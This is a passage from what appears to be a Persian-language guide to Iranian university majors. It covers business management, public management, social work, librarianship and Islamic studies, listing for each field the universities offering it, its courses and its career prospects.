    ۲۳ مبانی سازمان و مدیریت ۲۴ مبانی و کاربرد کامپیوتر در مدیریت
    ۲۵ کلیات حقوق

    صنعت و بازار کار
    فارغ التحصیلان دوره کاردانی قادر خواهند بود فعالیتهای زیر را در سیستم بیمه ای کشور به ویژه در سطح شعب استانها انجام دهند.
    ۱٫ انجام امور مربوط به صدور
    ۲٫ انجام امور مربوط به تسویه خسارات
    ۳٫ انجام امور مربوط به حسابداری شعب
    ۴٫ سرپرستی و یا معاونت واحدهای تابعه صنعت بیمه

  31. مدیریت بازرگانی از مهمترین بخش های مدیریت شرکت های تجاری است زمانی یک شرکت می تواند بین خود مشتریان و خریدارانش ارتباط تجاری خوبی برقرار کند که یک مدیر بازرگانی موفق داشته باشد . فردی که مدیریت بازرگانی یک بنگاه اقتصادی را به عهده می گیرد در جذب مشتریان و عرضه و معرفی صحیح و اصول محصول یا خدمات یک شرکت تلاش می کند و به طور طبیعی مدیر بازرگانی فردی است که نقش اساسی در سود و زیان شرکتها دارد . دوره کارشناسی مدیریت بازرگانی یکی از دوره های تحصیلی آموزش عالی است و هدف از تشکیل این دوره آموزش نیروی انسانی متخصص مورد نیاز سازمانها، اداره ها، موسسه ها و شرکتهای دولتی و خصوصی در زمینه بازرگانی با وظایف و هدفهای گوناگون در سطوح کارشناسی می باشد.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آباده *
    ۲ آزاد- انار *
    ۳ آزاد- بابل *
    ۴ آزاد- بجنورد *
    ۵ آزاد- بیرجند *
    ۶ آزاد- تربت جام *
    ۷ آزاد- تفرش *
    ۸ آزاد- تنکابن *
    ۹ آزاد- تهران سما *
    ۱۰ آزاد- تهران مرکزی *
    ۱۱ آزاد- تویسرکان *
    ۱۲ آزاد- خرم آباد *
    ۱۳ آزاد- خرمشهر *
    ۱۴ آزاد- دورود *
    ۱۵ آزاد- رشت *
    ۱۶ آزاد- سقز *
    ۱۷ آزاد- سنندج * *
    ۱۸ آزاد- شهریار *
    ۱۹ آزاد- شیراز *
    ۲۰ آزاد- شیروان * ‌
    ۲۱ آزاد- طبس *
    ۲۲ آزاد- علوم و تحقیقات تهران *
    ۲۳ آزاد- علی آباد کتول *
    ۲۴ آزاد- فیروزکوه * ‌
    ۲۵ آزاد- فیروزآباد *
    ۲۶ آزاد- قزوین *
    ۲۷ آزاد- قشم * *
    ۲۸ آزاد- گناباد *
    ۲۹ آزاد- لامرد *
    ۳۰ آزاد- ملایر * *
    ۳۱ آزاد- نراق * *
    ۳۲ آزاد- نی ریز *
    ۳۳ آزاد- کرج *
    ۳۴ آزاد- کرمان *
    ۳۵ آزاد-آستارا *
    ۳۶ آزاد-ابهر *
    ۳۷ آزاد-اراک *
    ۳۸ آزاد-بروجرد *
    ۳۹ آزاد-تاکستان *
    ۴۰ آزاد-زاهدان *
    ۴۱ آزاد-نیشابور * *
    ۴۲ الزهرا تهران *
    ۴۳ تهران *
    ۴۴ خلیج فارس *
    ۴۵ زابل *
    ۴۶ زاهدان *
    ۴۷ سمنان *
    ۴۸ سنندج *
    ۴۹ شاهد تهران *
    ۵۰ شهید بهشتی *
    ۵۱ شهیدباهنرکرمان *
    ۵۲ شهیدچمران اهواز *
    ۵۳ شیراز *
    ۵۴ فردوسی مشهد *
    ۵۵ گیلان *
    ۵۶ لرستان *
    ۵۷ مازندران *
    ۵۸ هرمزگان- بندرعباس *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار و کاربرد آن در مدیریت ۲ ۲ آمار و کاربرد آن در مدیریت ۱
    ۳ اصول حسابداری ۱ ۴ اصول حسابداری ۲
    ۵ اقتصاد خرد ۶ اقتصاد کلان
    ۷ بازاریابی بین المللی ۸ بازاریابی و مدیریت بازار
    ۹ بازرگانی بین المللی ۱۰ بهره وری و تجزیه و تحلیل آن در سازمان
    ۱۱ پول و ارز و بانکداری ۱۲ تجزیه و تحلیل و طراحی سیستم
    ۱۳ تحقیق در عملیات ۱ ۱۴ تحقیق در عملیات ۲
    ۱۵ تحقیقات بازاریابی ۱۶ توسعه اقتصادی و برنامه ریزی
    ۱۷ حسابداری صنعتی ۱ ۱۸ حسابرسی ۱
    ۱۹ حقوق اساسی ۲۰ حقوق بازرگانی
    ۲۱ حقوق بازرگانی بین الملل ۲۲ روابط صنعتی
    ۲۳ روان شناسی کار ۲۴ روش تحقیق در مدیریت
    ۲۵ ریاضیات و کاربرد آن در مدیریت ۱ ۲۶ ریاضیات و کاربرد ان در مدیریت ۲
    ۲۷ زبان تخصصی ۱ و ۲ ۲۸ زبان تخصصی ۳ و ۴
    ۲۹ سازمان های پولی و مالی بین المللی ۳۰ سمینار در مسائل بازاریابی
    ۳۱ سمینار در مسائل مالی ۳۲ سیاست پولی و مالی
    ۳۳ سیستم های خرید، انبارداری و توزیع ۳۴ سیستمهای اطلاعاتی مدیریت
    ۳۵ مبانی سازمان و مدیریت ۳۶ مبانی مدیریت اسلامی و الگوهای آن
    ۳۷ مدیریت استراتژیک ۳۸ مدیریت تولید
    ۳۹ مدیریت رفتار سازمانی ۴۰ مدیریت مالی ۱
    ۴۱ مدیریت مالی ۲ ۴۲ مدیریت منابع انسانی
    ۴۳ کامپیوتر و کاربرد آن در مدیریت

    صنعت و بازار کار
    فارغ التحصیلان این رشته با آگاهی و شناختی که از ساخت سازمان، تئوریهای مدیریت و سازماندهی و تکنیکهای مختلف تصمیم گیری دارند قدرت حل مشکلات را پیدا می کنند و همچنین علاوه بر دانش نظری با کاربردهای این رشته نیز آشنا می شوند. فارغ التحصیلان مدیریت بازرگانی می توانند در مؤسسات بازرگانی، امور دفتری مانند: تدارکات، اداره امور کارگزینی، امور مالی، بازاریابی مشغول به کار شوند.

  32. به دلایل گوناگون نمی توان واژه مدیریت را به سادگی تعریف کرد. از این دلایل می توان به گستردگی دامنه مدیریت و ماهیت پویای آن اشاره کرد. مدیریت فرایند برنامه ریزی، تشکیلات، فرماندهی، هدایت و نظارت بر تلاش های اعضای سازمان و استفاده از دیگر منابع سازمانی جهت دستیابی به اهداف سازمانی است.
    مدیریت امروز مجموعه ای از علوم گوناگون همانند اقتصاد، جامعه شناسی ،روان شناسی، ریاضیات، آمار و … است که هدفش افزایش بهره وری، کارائی و اثربخشی سازمانی است.
    بکارگیری اصول مدیریت از مؤسسه ای به مؤسسه دیگر یا حتی از موقعیتی به موقعیت دیگر، متفاوت است.
    دانش مدیریت اولین بار به شکل علمی و امروزی در اواخر قرن نوزدهم میلادی توسط فردی به نام فردریک ونسلوتیلور مطرح شده. مدیریت را برخی هنر و برخی نیز علم دانسته اند و برخی نیز ترکیبی از این دو، اما آنچه مهم است نقش و جایگاه بسیار مهم مدیریت در دنیای امروز است.
    ضرایب دروس دبیرستانی مربوط به سه گرایش نامبرده در آزمون ورودی دانشگاهها و مؤسسات آموزش عالی عبارتند از:
    ضریب ۴ برای درس ریاضی، ضریب ۲ برای دروس اقتصاد و ادبیات فارسی، ضریب ۱ برای دروس زبان عربی ، تاریخ و جغرافیا، علوم اجتماعی، فلسفه و منطق و روانشناسی.
    داشتن قدرت رهبری، اعتماد به نفس، روابط اجتماعی خوب، توان تجزیه و تحلیل خوب و قدرت بیان قوی از عوامل مهم موفقیت در این رشته است. همچنین تسلط به دروس ریاضی و آمار با توجه به کاربرد وسیع آنها در مدیریت الزامی است.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آبادان *
    ۲ آزاد- آباده *
    ۳ آزاد- اسلامشهر * *
    ۴ آزاد- الیگودرز *
    ۵ آزاد- امارات متحده عربی *
    ۶ آزاد- ایلام * ‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌
    ۷ آزاد- بابل *
    ۸ آزاد- بافق * ‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌
    ۹ آزاد- بیرجند *
    ۱۰ آزاد- تبریز *
    ۱۱ آزاد- تربت جام *
    ۱۲ آزاد- تنکابن *
    ۱۳ آزاد- تهران *
    ۱۴ آزاد- جهرم *
    ۱۵ آزاد- خارک *
    ۱۶ آزاد- خرم آباد *
    ۱۷ آزاد- خرمشهر * *
    ۱۸ آزاد- خلخال *
    ۱۹ آزاد- دامغان *
    ۲۰ آزاد- دهاقان *
    ۲۱ آزاد- رامهرمز *
    ۲۲ آزاد- رشت *
    ۲۳ آزاد- زنجان *
    ۲۴ آزاد- سمنان * ‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌
    ۲۵ آزاد- سنندج *
    ۲۶ آزاد- شاهرود *
    ۲۷ آزاد- شهرری *
    ۲۸ آزاد- شهریار *
    ۲۹ آزاد- شوشتر * *
    ۳۰ آزاد- شیراز *
    ۳۱ آزاد- شیروان *
    ۳۲ آزاد- طبس *
    ۳۳ آزاد- علی آباد *
    ۳۴ آزاد- فیروزکوه * *
    ۳۵ آزاد- فیروزآباد * *
    ۳۶ آزاد- قزوین *
    ۳۷ آزاد- قشم *
    ۳۸ آزاد- گچساران *
    ۳۹ آزاد- لامرد *
    ۴۰ آزاد- مبارکه * *
    ۴۱ آزاد- مرودشت *
    ۴۲ آزاد- ملایر * *
    ۴۳ آزاد- نراق *
    ۴۴ آزاد- نی ریز *
    ۴۵ آزاد- کرج * *
    ۴۶ آزاد- کرمان *
    ۴۷ آزاد- کرمانشاه *
    ۴۸ آزاد-آستارا *
    ۴۹ آزاد-ابهر *
    ۵۰ آزاد-اراک *
    ۵۱ آزاد-اردبیل *
    ۵۲ آزاد-اردستان *
    ۵۳ آزاد-بروجرد *
    ۵۴ آزاد-تاکستان *
    ۵۵ آزاد-نیشابور * *
    ۵۶ الزهرا تهران *
    ۵۷ امام خمینی قزوین *
    ۵۸ بابلسر *
    ۵۹ بندرعباس * ‌
    ۶۰ بوشهر *
    ۶۱ تهران * ‌
    ۶۲ خرم آباد *
    ۶۳ سمنان *
    ۶۴ سنندج *
    ۶۵ شاهد تهران *
    ۶۶ شهیدچمران اهواز *
    ۶۷ شیراز *
    ۶۸ صنعتی اصفهان *
    ۶۹ ولیعصر رفسنجان *
    ۷۰ یزد *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار و کاربرد آن در مدیریت ۱ و ۲ ۲ اصول حسابداری ۱
    ۳ اصول حسابداری ۲ ۴ اقتصاد خرد
    ۵ اقتصاد کلان ۶ بازاریابی بین المللی
    ۷ بازاریابی و مدیریت بازار ۸ بهره وری و تجزیه و تحلیل آن در سازمان ها
    ۹ پروژه عملی ۱۰ پول و ارز و بانکداری
    ۱۱ تجزیه و تحلیل و طراحی سیستم ۱۲ تحقیق در عملیات ۱ و ۲
    ۱۳ تحقیق در عملیات ۳ ۱۴ تصمیم گیری و خط مشی دولتی
    ۱۵ توسعه اقتصاد و برنامه ریزی ۱۶ توسعه اقتصادی و برنامه ریزی
    ۱۷ جامعه شناسی سازمان ها ۱۸ حسابداری دولتی
    ۱۹ حسابداری صنعتی ۱ ۲۰ حسابرسی صنعتی ۳
    ۲۱ حفاظت صنعتی ۲۲ حقوق اداری
    ۲۳ حقوق اساسی ۲۴ حقوق بازرگانی
    ۲۵ روابط صنعتی ۲۶ روابط کار در سازمان
    ۲۷ روان شناسی صنعتی ۲۸ روان شناسی کار
    ۲۹ ریاضیات و کاربرد آن در مدیریت ۱ و ۲ ۳۰ زبان تخصصی ۱
    ۳۱ زبان تخصصی ۲ ۳۲ زبان تخصصی ۳
    ۳۳ سازمان دهی و اصلاح تشکیلات و روش ها ۳۴ سازمان های پولی و مالی
    ۳۵ سیاست پولی و مالی ۳۶ سیر اندیشه های سیاسی و تحول نهاد اداری
    ۳۷ سیستم های اطلاعات مدیریت ۳۸ سیستم های خرید، انبارداری و توزیع
    ۳۹ فراگرد تنظیم و کنترل بودجه ۴۰ مالیه عمومی و تنظیم خط مشی مالی دولت
    ۴۱ مباحث ویژه در مدیریت دولتی ۴۲ مبانی سازمان و مدیریت
    ۴۳ مبانی مدیریت اسلامی و الگوهای آن ۴۴ مبانی مدیریت دولتی ۱ و ۲
    ۴۵ مدیریت استراتژیک ۴۶ مدیریت تحول سازمانی
    ۴۷ مدیریت تطبیقی ۴۸ مدیریت تعاونی ها
    ۴۹ مدیریت توسعه ۵۰ مدیریت تولید
    ۵۱ مدیریت رفتار سازمانی ۵۲ مدیریت سازمان های محلی و شهرداری ها
    ۵۳ مدیریت مالی ۱ و ۲ ۵۴ مدیریت منابع انسانی
    ۵۵ مدیریت کارخانه ۵۶ کارسنجی و روش سنجی
    ۵۷ کامپیوتر و کاربرد آن در مدیریت ۵۸ کنترل پروژه
    ۵۹ کنترل کیفیت آماری

    صنعت و بازار کار
    بدیهی است که در هر سازمان یا نهاد ، که افرادی خاص اهداف مشخصی را دنبال می کنند ، مهمترین رکن موفقیت آن سازمان یا نهاد ، توانمندی مدیر آن سازمان در استفاده بهینه از حداقل امکانات جهت بهره برداری بهتر برای نیل به اهداف می باشد.
    بارها از زبان اطرافیانتان در مورد مدیران نالایق و کارمندان لایق آنها مطالب ریز و درشتی شنیده اید. آنچه ما می دانیم چیزی فراتر از اطلاعات شما نیست ، فقط یادآوری این نکته مهم است که در کشور ما افراد هستند که برای مجموعه تصمیم می گیرند نه یک سیستم از قبل تعریف شده.
    بازار کار این رشته در صورت موافقت مقام مافوق می تواند در بدنه عظیم الجثه دولت و بخش خصوصی باشد.

  33. رشته مددکاری اجتماعی همچنانکه از اسم آن پیداست به عنوان یکی از رشته های مورد نیاز برای کشوری مانند ایران که از آسیب های اجتماعی فراوانی رنج می برد می باشد و اهمیت آن را آنهایی که با ناملایمات اجتماعی در ارتباط هستند به خوبی درک می کنند رشته ای که عواطف انسانی، حوصله و صبر، خویشتنداری و ایجاد امیداواری و تحلیل و نظریه پردازی برای مشکلات مددجویان عزیز را در خود جا داده است و افرادی که این رشته را انتخاب می کنند فقط در صورت علاقه موفق خواهند بود. در بسیاری از اوقات از مددجویان پرخاش هایی سر می زند که تحمل آن دشوار است در واقع شما که این رشته را انتخاب می کنید سپر بلای بسیاری از مدیران میانی و گاه ارشد خود هستید یک مددکار اجتماعی با توجه به آنچه خوانده و از طریق تجربه و مشاهده در جامعه درک کرده باید ابتدا گوش شنوا برای شنیدن حرفهای مددجو و خود داشته باشد و او را بدون هیچ تعارفی با واقعیات آشنا کند و از دادن قول های ناشدنی به مددجوی خود پرهیز نماید برای درک بهتر این مطالب شما را به مطالعه دروس این رشته دعوت می کنیم .

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- خمینی شهر *
    ۲ علامه طباطبائی *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ جمعیت شناسی ۲ «پیشگیری از تولد کودکان عقب مانده ومعلول»
    ۳ آشنایی با روشهای مددکاری ۴ اصول علم اقتصاد
    ۵ اصول علم و سیاست ۶ اصول و فنون مشاوره و راهنمایی
    ۷ اقتصاد ایران ۸ انحرافات و آسیب های اجتماعی
    ۹ بررسی مسائل اجتماعی ایران «با تأکید بر تغییرات » ۱۰ بهداشت خانواده
    ۱۱ پروژه تحقیقاتی ۱۲ تامین اجتماعی
    ۱۳ تغذیه و بهداشت ۱۴ توانبخشی گروههای خاص
    ۱۵ جامعه شناسی روستایی ۱۶ جامعه شناسی شهری و توسعه
    ۱۷ حقوق خانواده ۱۸ رشد و آسیب پذیری در مراحل مختلف زندگی ۱
    ۱۹ رشد و آسیب پذیری در مراحل مختلف زندگی ۲ ۲۰ روانشناسی اجتماعی
    ۲۱ روانشناسی بالینی ۲۲ روانشناسی مرضی
    ۲۳ روش شناسی پژوهش در مددکاری ۲۴ ریاضیات پایه و آمار
    ۲۵ زبان تخصصی ۲۶ کارآموزی در عرصه
    ۲۷ مبانی جامعه شناسی ۲۸ مبانی روان شناسی
    ۲۹ مبانی مردم شناسی ۳۰ مبانی مددکاری اجتماعی
    ۳۱ مبانی مدیریت و امور اداری ۳۲ مبانی و حقوق کار
    ۳۳ مبانی و خط مشی های رفاه اجتماعی ۳۴ مددکاری جامعه ای ۱
    ۳۵ مددکاری جامعه ای ۲ با تاکید به طراحی و اجرای طرحها ۳۶ مددکاری فردی ۱
    ۳۷ مددکاری فردی ۲ ۳۸ مددکاری گروهی ۱ (با تاکید بر پویایی گروه)
    ۳۹ مددکاری گروهی ۲ ۴۰ مدیریت سازمانهای رفاه اجتماعی
    ۴۱ مشاوره ژنتیک ۴۲ نظریه های جامعه شناسی
    ۴۳ نهاد خانواده و خدمات مددکاری ۴۴ کارآموزی در عرصه مددکاری جامعه ای
    ۴۵ کارآموزی در عرصه مددکاری فردی ۴۶ کارآموزی در عرصه مددکاری گروهی
    ۴۷ کاربرد آمار در مددکاری اجتماعی ۴۸ کلیات برنامه ریزی اجتماعی- اقتصادی

    صنعت و بازار کار
    مرکز جذب فارغ التحصیلان رشته مددکاری اجتماعی عمدتاً این مراکز می باشد: سازمان بهزیستی، کمیته امداد، بیمارستان ها و بعضی از کلینیک ها، سازمان تأمین اجتماعی و مؤسسات خیریه خصوصی.

  34. کتابداری

    کتابخانه از دیرباز به عنوان کانون گردآوری منابع مکتوب فرهنگی، علمی و فنی و اشاعه اطلاعات سازمان یافته آنها در میان گروههای مختلف استفاده کننده شناخته شده است. پیشرفتهای سریع جوامع انسانی و نیز افزایش میزان انتشارات در زمینه های مختلف دانش بشری، ایجاد و گسترش کتابخانه ها را امری الزامی ساخته است.
    بهره گیری از میراث مکتوب فرهنگی عامل پیشرفت معنوی و کسب استقلال فرهنگی است و استفاده از اطلاعات علمی و فنی در پژوهشها، تصمیم گیری ها و برنامه ریزی ها موجب پیشرفت اقتصادی، نیل به خودکفائی و رشد همه جانبه است. افزایش انتشارات گرچه تأثیری مستقیم در اشاعه اطلاعات دارند اما باید به صورت مناسبی سازمان داده شوند تا بتوانند به نحو مطلوب و مؤثر مورد بهره برداری قرار گیرند.
    کتابخانه ها مسئولیت پاسخگوئی به نیازهای اطلاعاتی جامعه را دارند. نیازهای جامعه در همه دوران و شرایط یکسان نبوده، موضوعات و مسائل گوناگون در هر حال از اهمیت واحد برخوردار نیستند. شناخت این نیازها از راه اندازی کتابخانه مهم تر است. تعداد گرایش های و تمایلات و دیدگاه ها و برداشت های افراد از وقایع و مسائل و انگیزه های گوناگون در پی جوئی اطلاعاتی و عوامل پیدا و پنهان در زایش پرسشها و ابهامات، برپیچیدگی و تنوع نیازها می افزاید.
    این امر ایجاد کتابخانه ها و گسترش سازمان یافته آنها و نیز وجود کتابداران آموزش دیده در سطوح مختلف دانشگاهی را جهت سازماندهی و اداره کتابخانه ها ایجاب می کند.
    ضرایب دروس دبیرستانی مربوط به این رشته در آزمون ورودی دانشگاهها و مؤسسات آموزش عالی عبارتند از:
    ضریب ۴ برای درس ادبیات فارسی، ضریب ۲ برای زبان عربی، ضریب ۳ برای درس فرهنگ و معارف اسلامی و ضریب ۴ برای درس زبان خارجی.
    علاقه به کتاب و کتابداری و همچنین آشنائی کافی با زبانهای خارجی از عوامل مهم موفقیت در این رشته است. جهت تحصیل در این رشته می توان در یکی از چهار گروه آزمایشی ثبت نام و فقط در آزمون دروس عمومی مربوط به آن گروه شرکت نمود .

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- بابل * ‌
    ۲ آزاد- بیرجند *
    ۳ آزاد- تنکابن *
    ۴ آزاد- تهران *
    ۵ آزاد- رودهن *
    ۶ آزاد- زرند *
    ۷ آزاد- شیراز *
    ۸ آزاد- شیروان * *
    ۹ آزاد- فسا * ‌
    ۱۰ آزاد- قم *
    ۱۱ آزاد- مسجد سلیمان *
    ۱۲ آزاد-اراک * *
    ۱۳ آزاد-بروجرد *
    ۱۴ آزاد-همدان *
    ۱۵ الزهرا تهران *
    ۱۶ بوشهر *
    ۱۷ تبریز *
    ۱۸ تهران *
    ۱۹ خوارزمی *
    ۲۰ رازی کرمانشاه *
    ۲۱ شاهد تهران ‌ *
    ۲۲ شهیدچمران اهواز *
    ۲۳ شیراز *
    ۲۴ صنعتی اصفهان *
    ۲۵ علامه طباطبائی *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آشنایی با بانکهای اطلاعاتی ۲ آشنایی با تاریخ هنر
    ۳ آشنایی با رشته‌های هنری معاصر ۴ آشنایی با صنعت چاپ و نشر
    ۵ آشنایی با موسیقی ۶ آشنایی با کامپیوتر
    ۷ آشنایی با کتابخانه و اصول کتابداری ۸ آمار
    ۹ آمار و احتمالات مقدماتی ۱۰ اخلاق و تربیت اسلامی
    ۱۱ اداره کتابخانه ۱۲ ادبیات کودکان و نوجوانان
    ۱۳ اصول کار مرجع ۱۴ انسان طبیعت و طراحی
    ۱۵ انقلاب اسلامی و ریشه‌های آن ۱۶ برنامه نویسی کاربردی
    ۱۷ پایان‌نامه ۱۸ تاریخ ادبیات ایران
    ۱۹ تاریخ ادبیات ایران کارورزی در کتابداری ۲۰ تاریخ ادبیات جهان
    ۲۱ تاریخ ادیان ۲۲ تاریخ اسلام
    ۲۳ تاریخ تمدن ۲۴ تاریخ علوم
    ۲۵ تاریخ عمومی فلسفه ۲۶ تربیت بدنی ۲
    ۲۷ تکنولوژی اطلاعات و سیستم‌های ۲۸ جغرافیای شهری و روستاشناسی
    ۲۹ جفاظت و نگهداری مواد کتابخانه ۳۰ جمعیت و تنظیم خانواده
    ۳۱ حفاظت و نگهداری مواد کتابخانه ۳۲ خدمات عمومی
    ۳۳ داده پردازی ۳۴ ذخیره و بازیابی اطلاعات
    ۳۵ روانشناسی اجتماعی ۳۶ روانشناسی عمومی
    ۳۷ روانشناسی کودک و نوجوان ۳۸ روش تحقیق
    ۳۹ ریاضیات عمومی ۱ ۴۰ زبان انگلیسی تخصصی (۱)
    ۴۱ زبان پیش دانشگاهی ۱ ۴۲ زبان پیش دانشگاهی ۲
    ۴۳ زبان خارجی ۴۴ زمین شناسی
    ۴۵ ساختمان و تجهیزات کتابخانه ۴۶ سازمان و اداره کتابخانه‌ها
    ۴۷ سازماندهی مواد ۱ ۴۸ سازماندهی مواد ۱ فهرست نویسی
    ۴۹ سازماندهی مواد ۲ ۵۰ سازماندهی مواد ۲ رده بندی
    ۵۱ سازماندهی مواد ۳ فهرست نویسی ۵۲ سازماندهی مواد ۴ رده بندی
    ۵۳ سمینار تحقیقی ۵۴ شیمی عمومی
    ۵۵ شیوه‌های مطالعه ۵۶ فارسی
    ۵۷ فیزیولوژی عمومی ۵۸ فیزیک عمومی
    ۵۹ گزارش نویسی ۶۰ ماشین نویسی فارسی ۱
    ۶۱ ماشین نویسی لاتین ۶۲ مبانی تاریخ اجتماعی ایران
    ۶۳ مبانی تاریخ اجتماعی ایران ۶۴ مبانی جامعه شناسی
    ۶۵ مبانی سازمان و مدیریت ۶۶ مبانی علم حقوق
    ۶۷ مبانی کامپیوتر ۶۸ مبانی کامپیوتر و برنامه‌سازی
    ۶۹ متون اختصاصی انگلیسی ۱ ۷۰ متون اختصاصی انگلیسی ۲
    ۷۱ متون اسلامی ۷۲ متون تخصصی عربی ۱
    ۷۳ متون تخصصی عربی ۲ ۷۴ متون تخصصی فرانسه ۱
    ۷۵ متون تخصصی فرانسه ۲ ۷۶ مجموعه سازی
    ۷۷ مجموعه سازی ۲ ۷۸ مرجحعه شناسی تخصصی
    ۷۹ مرجع شناسی اختصاصی علوم انسانی ۸۰ مرجع شناسی اسلامی
    ۸۱ مرجع شناسی تخصصی ۸۲ مرجع شناسی علوم و فنون
    ۸۳ مرجع شناسی عمومی ۸۴ مرجع شناسی عمومی فارسی و عربی
    ۸۵ مرجع شناسی لاتین ۸۶ مرجع شنای علوم و فنون
    ۸۷ مرجع شنای لاتین ۸۸ معارف اسلامی ۲
    ۸۹ مواد سمعی و بصری ۹۰ مواد و خدمات کتابخانه برای بزرگسال
    ۹۱ مواد و خدمات کتابخانه کودکان ۹۲ مواد کتابخانه برای نوجوانان
    ۹۳ مواد کتابخانه برای نوسوادان ۹۴ نشریات ادواری
    ۹۵ نظامهای همکاری بین کتابخانه‌ها ۹۶ نمایدسازی و چکیده نویسی
    ۹۷ هنر و تمدن اسلامی ۹۸ هنرهای نمایشی
    ۹۹ کارآموزی قسمت چهارم ۱۰۰ کارآموزی قسمت دوم
    ۱۰۱ کارآموزی قسمت سوم ۱۰۲ کارورزی
    ۱۰۳ کارورزی ۲ ۱۰۴ کارورزی در کتابداری
    ۱۰۵ کتابخانه و کتابداری ۱۰۶ کلیات علم اقتصاد

    صنعت و بازار کار
    فارغ‌التحصیلان این رشته می‌توانند منشاء خدمات زیر می‌باشند:
    اداره کتابخانه‌های عمومی و آموزشگاهی در شهرها.
    اداره کتابخانه‌های تخصصی کوچک با توجه به زمینه‌ تخصصی.
    انجام امور فنی و خدماتی در کتابخانه‌های عمومی، دانشگاهی و تخصصی بزرگ زیر نظر متخصصان کتابداری و اطلاع رسانی.
    برنامه حاضر (دوره کارشناسی) در جهت آموزش و تأمین بخشی از نیروی انسانی مورد نیاز کتابخانه‌ها در شش گرایش علوم انسانی و اجتماعی، علوم پایه، علوم پزشکی، علوم فنی و مهندسی، علوم کشاورزی و هنر تدوین شده است.
    کتابخانه‌ها و مراکز اسناد فعالیتهای متعددی را به عهده دارند که برای انجام آنها به افرادی آموزش دیده در سطوح مختلف نیازمندند. برنامه دوره کارشناسی کتابداری به نحوی تهیه شده که بتواند کتابداران را با آموزش جامع در زمینه کتابداری و نیز بصورت فرعی در یکی از زمینه‌های علوم انسانی و اجتماعی، علوم پایه ، علوم پزشکی، علوم فنی و مهندسی، علوم کشاورزی و یا هنر برای انجام فعالیتهای مختلف کتابخانه‌ها و مراکز اسناد و مدارک و نیز دستیاری مدیران و متخصصان کتابداری و اطلاع رسانی در این گونه کتابخانه‌ها و مراکز آماده نماید.

  35. معارف اسلامی
    با توجه به ماهیت انقلاب اسلامی ایران ، بی شک بعد فرهنگی این انقلاب بر دیگر ابعاد آن تقدم دارد ، و لذا کوشش در به ثمر رساندن انقلاب فرهنگی موجب تثبیت و تداوم انقلاب اسلامی خواهد بود . مسلما موفقیت انقلاب فرهنگی در بستر انقلاب اسلامی مستلزم شناخت کافی از اصول و موازینی است که وجوه اسلامی این انقلاب را مشخص می سازد . برنامه این دوره به نحوی تنظیم شده که اهداف زیر ، هماهنگ با یکدیگر تامین کردند.
    ۱-تربیت کارشناسان معارف اسلامی
    ۲- ایجاد زمینه مناسب برای تربیت مبلغین آشنا به اصول و معارف اسلامی بطوری که قادر باشند در ا قصی نقاط جهان خصوصا کشورهای اسلامی به تبلیغ بپردازند.
    ۳- فراهم آوردن امکانات لازم برای کسب علوم و معارف اسلامی با شیوه دانشگاهی و با تکیه بر حفظ اصول و روشهای سنتی بحث و تحقیق در حوزه های علمیه اسلامی برای افرادی که علاقه به فراگیری این علوم دارند لیکن مجال و امکانات لازم برای ادامه تحصیل در حوزه ها را دارند.
    ۴- تربیت محقق در علوم و معارف اسلامی
    ۵- تامین بنیه علمی لازم برای ادامه تحصیلات عالیه و کسب تخصص در سطوح بالاتر از طریق دوره کارشناسی ارشد و دکتری .

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آزاد شهر *
    ۲ آزاد- استهبان *
    ۳ آزاد- بابل *
    ۴ آزاد- تویسرکان *
    ۵ آزاد- جیرفت *
    ۶ آزاد- شهرکرد *
    ۷ آزاد- فسا *
    ۸ آزاد- کازرون *
    ۹ آزاد-اردبیل *
    ۱۰ آزاد-بوشهر *
    ۱۱ آزاد-خوی *
    ۱۲ آزاد-زاهدان *
    ۱۳ اراک *
    ۱۴ اصفهان * ‌
    ۱۵ الزهرا تهران *
    ۱۶ تهران *
    ۱۷ رازی کرمانشاه *
    ۱۸ شهیدچمران اهواز *
    ۱۹ شیراز *
    ۲۰ فردوسی مشهد *
    ۲۱ قم *
    ۲۲ مازندران *
    ۲۳ کاشان *
    ۲۴ یزد *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ اصول الفقه المقارن ۱ ۲ اصول الفقه المقارن ۲
    ۳ اصول عقاید ۱ ۴ اصول عقاید ۲
    ۵ اصول عقاید ۳ ۶ اصول فقه ۱
    ۷ اصول فقه ۲ ۸ اصول فقه ۳
    ۹ اصول فقه ۴ ۱۰ اصول فقه ۵
    ۱۱ انگلیسی عمومی ۱ ۱۲ انگلیسی عمومی ۲
    ۱۳ انگلیسی عمومی ۳ ۱۴ انگلیسی عمومی ۴
    ۱۵ انگلیسی عمومی ۵ ۱۶ تاریخ ادیان
    ۱۷ تاریخ اسلام ۱ ۱۸ تاریخ اسلام ۲
    ۱۹ تاریخ و علوم قرآن ۲۰ تاریخ اسلام ۳
    ۲۱ تاریخ فقه و فقهاء ۲۲ تجوید
    ۲۳ تحقیق در نهج البلاغه ۲۴ تفسیر موضوعی ۱
    ۲۵ تفسیر موضوعی ۲ ۲۶ تفسیر ۱
    ۲۷ تفسیر ۲ ۲۸ درایه ورجال
    ۲۹ روش های تحقیق و آمار ۳۰ صرف ۱
    ۳۱ صرف ۲ ۳۲ فقه ۱
    ۳۳ فقه ۲ ۳۴ فقه ۳
    ۳۵ فقه ۴ ۳۶ فقه ۵
    ۳۷ فقه ۶ ۳۸ فقه ۷
    ۳۹ فقه ۸ ۴۰ فقه تطبیقی
    ۴۱ فقه مقدماتی ۱ ۴۲ فقه مقدماتی ۲
    ۴۳ فقه مقدماتی ۳ ۴۴ فقه مقدماتی ۴
    ۴۵ فلسفه ۱ ۴۶ فلسفه ۲
    ۴۷ قواعد فقهیه ۴۸ مبادی فقه و اصول
    ۴۹ مبانی علم اقتصاد ۵۰ مبانی علم سیاست
